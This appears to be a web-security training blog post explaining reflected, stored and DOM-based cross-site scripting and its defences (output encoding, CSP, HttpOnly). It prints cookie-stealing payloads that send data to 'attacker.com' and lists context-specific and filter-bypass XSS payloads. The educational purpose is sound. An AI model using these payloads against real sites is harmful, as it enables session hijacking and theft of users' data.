← Blog
Web Security2026-04-1511 min read

Cross-Site Scripting (XSS) Explained: Types, Attacks, and Defences

XSS has been in the OWASP Top 10 for two decades. It's widely misunderstood — treated as a pop-up trick when it's actually one of the most versatile attack primitives on the web.

Cross-site scripting is consistently in the top five most commonly found vulnerabilities in web applications. It's been in the OWASP Top 10 for two decades. And yet it remains widely misunderstood — treated as a pop-up trick when it's actually one of the most versatile attack primitives on the web.

This is a complete explanation of how XSS works, the three main types, what attackers actually do with it, and how it gets fixed.

The core problem

Browsers execute JavaScript. That's a feature. XSS is what happens when an attacker manages to get their JavaScript into a page that another user's browser will execute.

The fundamental cause: a web application takes user input and puts it into a page without treating it as data. The browser receives HTML containing the attacker's script, has no way to know it wasn't intentional, and runs it — with full access to the page, the DOM, and the victim's cookies and storage.

Reflected XSS

The simplest variant. The payload travels in the request and comes back in the response. A search endpoint that echoes the query back to the page is the classic example:

# URL the attacker sends the victim
https://shop.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# The page renders:
<p>Search results for: <script>document.location='https://...'</script></p>

The victim clicks the link (delivered via email, social media, a QR code). The page loads. Their browser executes the script. Their session cookie gets sent to the attacker's server. The attacker now has a valid session and can log in as the victim.

Reflected XSS requires the victim to click a crafted link. That limitation makes it less severe than stored XSS — but in practice, people click links.

Stored XSS

The attacker's payload is saved in the application's database and served to every user who visits the affected page. No need to trick individual users into clicking anything.

A comment field on a forum that doesn't sanitise input:

# Attacker posts this as a comment:
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      url: location.href
    })
  });
</script>

# Every user who loads that page fires the beacon

This is why stored XSS is rated higher severity. One payload, unlimited victims. A single stored XSS on a high-traffic page can exfiltrate thousands of session tokens before anyone notices.

DOM-based XSS

The payload never touches the server. Client-side JavaScript reads from the URL (or local storage, or some other attacker-controlled source) and writes it to the DOM without sanitisation:

// Vulnerable client-side code
const query = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + query;

// Attacker's URL:
https://app.com/?name=<img src=x onerror=alert(document.cookie)>

DOM XSS is harder to find with traditional scanning because the vulnerability exists in JavaScript running in the browser, not in the server's response. Tools like Burp Suite's DOM Invader are built specifically for this.

What attackers actually do with XSS

alert(1) is a proof of concept, not an attack. Real exploitation looks like this:

Finding XSS manually

The process: find every place user input is reflected in the page. Test each one with a simple probe like <> or a single quote to see if it appears unescaped in the HTML source. If it does, determine the context (HTML body, attribute, JavaScript string, CSS) and craft a payload appropriate for that context.

# Common contexts and payloads

# In HTML body — straightforward
<script>alert(1)</script>

# Inside an HTML attribute — break out first
" onmouseover="alert(1)

# Inside a JavaScript string
';alert(1)//

# In a URL attribute
javascript:alert(1)

# Filter bypass when < and > are blocked — event handlers in SVG
<svg/onload=alert(1)>

# When script tags are filtered
<img src=x onerror=alert(1)>

How XSS gets fixed

Output encoding is the main defence. Every time user-supplied data is inserted into HTML, it must be encoded so that special characters (<, >,", ') become their HTML entity equivalents and can't be interpreted as markup.

Modern frameworks — React, Vue, Angular — do this automatically for template expressions. The danger spots are places where developers bypass automatic escaping: React's dangerouslySetInnerHTML, Vue's v-html, Angular's bypassSecurityTrustHtml. These are valid when the HTML comes from a trusted source; they're vulnerabilities when they touch user input.

Content Security Policy (CSP)is the defence-in-depth layer. A strict CSP instructs browsers to only execute scripts from approved sources, blocking injected inline scripts even if they make it into the page. It doesn't replace output encoding — it's the second line of defence when output encoding fails.

HttpOnly on session cookies doesn't prevent XSS. It prevents session cookie theft viadocument.cookie. An attacker with XSS can still make authenticated requests as the victim, perform CSRF-style actions, exfiltrate other data, and install persistent payloads. HttpOnly raises the bar — it doesn't close the window.
// Practice this

Everything in this post has a live lab on hackr.gg. Spin up a vulnerable machine and exploit it yourself — no setup, no VPN, runs in your browser.

Open XSS Fundamentals course →
More posts
Web Security
SQL Injection: How One Quote Character Breaks a Database
9 min
Web Security
XSS: From alert(1) to Session Hijack
11 min
Career
How to Start Bug Bounty With Zero Experience (Realistic Guide)
14 min